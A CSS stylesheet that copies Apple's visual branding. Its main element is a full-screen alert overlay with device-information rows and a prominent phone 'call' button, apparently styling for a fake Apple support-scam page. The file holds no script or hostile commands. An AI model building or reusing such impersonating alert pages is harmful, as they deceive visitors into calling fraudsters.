/* Reset and Base Styles */
* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}

:root {
    --apple-black: #1d1d1f;
    --apple-gray: #86868b;
    --apple-light-gray: #f5f5f7;
    --apple-blue: #0071e3;
    --apple-red: #FF3B30;
    --apple-white: #ffffff;
}

body {
    font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif;
    color: var(--apple-black);
    background-color: var(--apple-white);
    line-height: 1.47059;
    font-weight: 400;
    letter-spacing: -0.022em;
    overflow-x: hidden;
    width: 100vw;
    height: 100vh;
    position: relative;
}

/* Fullscreen styles */
html:fullscreen,
html:-webkit-full-screen,
html:-moz-full-screen,
html:-ms-fullscreen {
    width: 100%;
    height: 100%;
}

body:fullscreen,
body:-webkit-full-screen,
body:-moz-full-screen,
body:-ms-fullscreen {
    width: 100vw;
    height: 100vh;
}

/* iOS fullscreen support */
@supports (-webkit-touch-callout: none) {
    body {
        min-height: -webkit-fill-available;
    }
}

/* Notification Overlay */
.notification-overlay {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background-color: rgba(0, 0, 0, 0.4);
    display: flex;
    justify-content: center;
    align-items: flex-start;
    padding-top: 80px;
    z-index: 10000;
    opacity: 0;
    animation: fadeIn 0.3s ease-in forwards;
    overflow-y: auto;
}

@keyframes fadeIn {
    to {
        opacity: 1;
    }
}

.notification-overlay.hidden {
    animation: fadeOut 0.3s ease-out forwards;
}

@keyframes fadeOut {
    to {
        opacity: 0;
        visibility: hidden;
    }
}

.notification-container {
    background: var(--apple-white);
    border-radius: 16px;
    max-width: 380px;
    width: 88%;
    padding: 0;
    box-shadow: 0 15px 50px rgba(0, 0, 0, 0.3);
    animation: slideUp 0.4s ease-out;
    overflow: hidden;
    margin-bottom: 20px;
}

.notification-logo {
    background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
    padding: 20px;
    text-align: center;
}

.apple-logo-popup {
    width: 45px;
    height: 45px;
    color: var(--apple-white);
}

@keyframes slideUp {
    from {
        transform: translateY(50px);
        opacity: 0;
    }
    to {
        transform: translateY(0);
        opacity: 1;
    }
}

.notification-header {
    display: flex;
    align-items: center;
    gap: 10px;
    margin-bottom: 16px;
    padding: 20px 24px 0 24px;
}

.alert-icon {
    width: 26px;
    height: 26px;
}

.notification-header h2 {
    font-size: 20px;
    font-weight: 600;
    color: var(--apple-black);
    letter-spacing: -0.02em;
}

.notification-body {
    margin-bottom: 20px;
    padding: 0 24px;
}

.device-info {
    background: var(--apple-light-gray);
    border-radius: 8px;
    padding: 10px 12px;
    margin: 8px 0;
    display: flex;
    justify-content: space-between;
    align-items: center;
}

.info-label {
    font-size: 12px;
    font-weight: 600;
    color: var(--apple-gray);
    margin: 0;
}

.info-value {
    font-size: 12px;
    font-weight: 500;
    color: var(--apple-black);
    margin: 0;
    text-align: right;
    max-width: 60%;
    word-break: break-word;
}

.notification-text {
    font-size: 14px;
    line-height: 1.5;
    color: var(--apple-black);
    margin-bottom: 10px;
}

.notification-text.centered {
    text-align: center;
}

.notification-text strong {
    font-weight: 600;
}

.notification-info {
    font-size: 11px;
    line-height: 1.4;
    color: var(--apple-gray);
    margin-top: 12px;
}

.notification-info.centered {
    text-align: center;
}

.notification-actions {
    padding: 0 24px 24px 24px;
}

.call-button {
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 8px;
    background: var(--apple-blue);
    color: var(--apple-white);
    text-decoration: none;
    padding: 16px 24px;
    border-radius: 12px;
    font-size: 15px;
    font-weight: 600;
    transition: all 0.2s ease;
    border: none;
    cursor: pointer;
    min-height: 50px;
    touch-action: manipulation;
    -webkit-tap-highlight-color: transparent;
    box-shadow: 0 2px 8px rgba(0, 112, 227, 0.3);
}

.call-button:hover {
    background: #0077ED;
    transform: scale(1.02);
    box-shadow: 0 4px 12px rgba(0, 112, 227, 0.4);
}

.call-button:active {
    transform: scale(0.97);
    box-shadow: 0 1px 4px rgba(0, 112, 227, 0.3);
}

.phone-icon {
    width: 20px;
    height: 20px;
    flex-shrink: 0;
}

/* Header Styles */
.apple-header {
    background-color: rgba(0, 0, 0, 0.8);
    backdrop-filter: saturate(180%) blur(20px);
    -webkit-backdrop-filter: saturate(180%) blur(20px);
    position: sticky;
    top: 0;
    z-index: 9999;
}

.nav-container {
    max-width: 1024px;
    margin: 0 auto;
    padding: 0 22px;
}

.nav-content {
    display: flex;
    justify-content: space-between;
    align-items: center;
    height: 44px;
}

.logo {
    display: flex;
    align-items: center;
}

.logo svg {
    color: var(--apple-light-gray);
    opacity: 0.8;
    transition: opacity 0.2s ease;
}

.logo:hover svg {
    opacity: 1;
}

.nav-list {
    display: flex;
    list-style: none;
    gap: 33px;
    margin: 0;
}

.nav-list li a {
    color: var(--apple-light-gray);
    text-decoration: none;
    font-size: 12px;
    opacity: 0.8;
    transition: opacity 0.2s ease;
}

.nav-list li a:hover {
    opacity: 1;
}

.nav-actions {
    display: flex;
    gap: 18px;
}

.nav-icon svg {
    color: var(--apple-light-gray);
    opacity: 0.8;
    transition: opacity 0.2s ease;
}

.nav-icon:hover svg {
    opacity: 1;
}

/* Main Content */
.main-content {
    min-height: calc(100vh - 44px);
}

/* Hero Section */
.hero-section {
    background: linear-gradient(180deg, #f5f5f7 0%, #ffffff 100%);
    padding: 60px 20px 80px;
    text-align: center;
}

.hero-content {
    max-width: 800px;
    margin: 0 auto;
}

.apple-logo-large {
    width: 80px;
    height: 80px;
    margin-bottom: 20px;
    color: var(--apple-black);
}

.hero-section h1 {
    font-size: 48px;
    font-weight: 600;
    letter-spacing: -0.003em;
    line-height: 1.08349;
    color: var(--apple-black);
}

/* Product Section */
.product-section {
    padding: 60px 20px;
    background: var(--apple-white);
}

.product-grid {
    max-width: 1200px;
    margin: 0 auto;
    display: grid;
    grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
    gap: 30px;
}

.product-card {
    background: var(--apple-light-gray);
    border-radius: 18px;
    padding: 30px;
    text-align: center;
    transition: all 0.3s ease;
}

.product-card:hover {
    transform: translateY(-5px);
    box-shadow: 0 10px 30px rgba(0, 0, 0, 0.1);
}

.product-image {
    margin-bottom: 20px;
    width: 100%;
    height: 200px;
    display: flex;
    align-items: center;
    justify-content: center;
    overflow: hidden;
}

.product-image img {
    width: 100%;
    height: 100%;
    object-fit: contain;
    transition: transform 0.3s ease;
}

.product-card:hover .product-image img {
    transform: scale(1.05);
}

.product-card h3 {
    font-size: 21px;
    font-weight: 600;
    margin-bottom: 8px;
    color: var(--apple-black);
}

.product-price {
    font-size: 14px;
    color: var(--apple-gray);
    margin-bottom: 16px;
}

.buy-button {
    display: inline-block;
    background: var(--apple-blue);
    color: var(--apple-white);
    text-decoration: none;
    padding: 10px 24px;
    border-radius: 20px;
    font-size: 14px;
    font-weight: 500;
    transition: all 0.2s ease;
}

.buy-button:hover {
    background: #0077ED;
    transform: scale(1.05);
}

/* Footer */
.apple-footer {
    background: var(--apple-light-gray);
    padding: 20px;
    border-top: 1px solid #d2d2d7;
}

.footer-content {
    max-width: 1024px;
    margin: 0 auto;
    text-align: center;
}

.footer-text {
    font-size: 12px;
    color: var(--apple-gray);
    margin-bottom: 8px;
}

.footer-text a {
    color: var(--apple-blue);
    text-decoration: none;
}

.footer-text a:hover {
    text-decoration: underline;
}

.footer-copyright {
    font-size: 12px;
    color: var(--apple-gray);
}

/* Responsive Design */
@media (max-width: 768px) {
    .nav-list {
        display: none;
    }
    
    .notification-overlay {
        padding-top: 60px;
        align-items: flex-start;
    }
    
    .notification-container {
        max-width: 340px;
        width: 92%;
    }
    
    .notification-logo {
        padding: 16px;
    }
    
    .apple-logo-popup {
        width: 38px;
        height: 38px;
    }
    
    .notification-header {
        padding: 16px 20px 0 20px;
        margin-bottom: 12px;
    }
    
    .notification-header h2 {
        font-size: 18px;
    }
    
    .alert-icon {
        width: 24px;
        height: 24px;
    }
    
    .notification-body {
        padding: 0 20px;
        margin-bottom: 16px;
    }
    
    .notification-actions {
        padding: 0 20px 20px 20px;
    }
    
    .device-info {
        padding: 8px 10px;
        margin: 6px 0;
    }
    
    .info-label,
    .info-value {
        font-size: 11px;
    }
    
    .notification-text {
        font-size: 13px;
    }
    
    .notification-info {
        font-size: 10px;
    }
    
    .call-button {
        font-size: 14px;
        padding: 15px 20px;
        min-height: 52px;
        border-radius: 12px;
        gap: 10px;
    }
    
    .phone-icon {
        width: 18px;
        height: 18px;
    }
    
    .hero-section {
        padding: 40px 20px 60px;
    }
    
    .hero-section h1 {
        font-size: 32px;
    }
    
    .apple-logo-large {
        width: 60px;
        height: 60px;
    }
    
    .product-grid {
        grid-template-columns: 1fr;
    }
}

@media (max-width: 480px) {
    .notification-overlay {
        padding-top: 50px;
    }
    
    .notification-container {
        max-width: 310px;
        width: 94%;
    }
    
    .hero-section h1 {
        font-size: 28px;
    }
}

@media (max-width: 360px) {
    .notification-container {
        max-width: 290px;
    }
    
    .notification-text {
        font-size: 12px;
    }
    
    .call-button {
        font-size: 13px;
        padding: 14px 18px;
        min-height: 50px;
        flex-direction: column;
        gap: 6px;
    }
    
    .phone-icon {
        width: 20px;
        height: 20px;
    }
}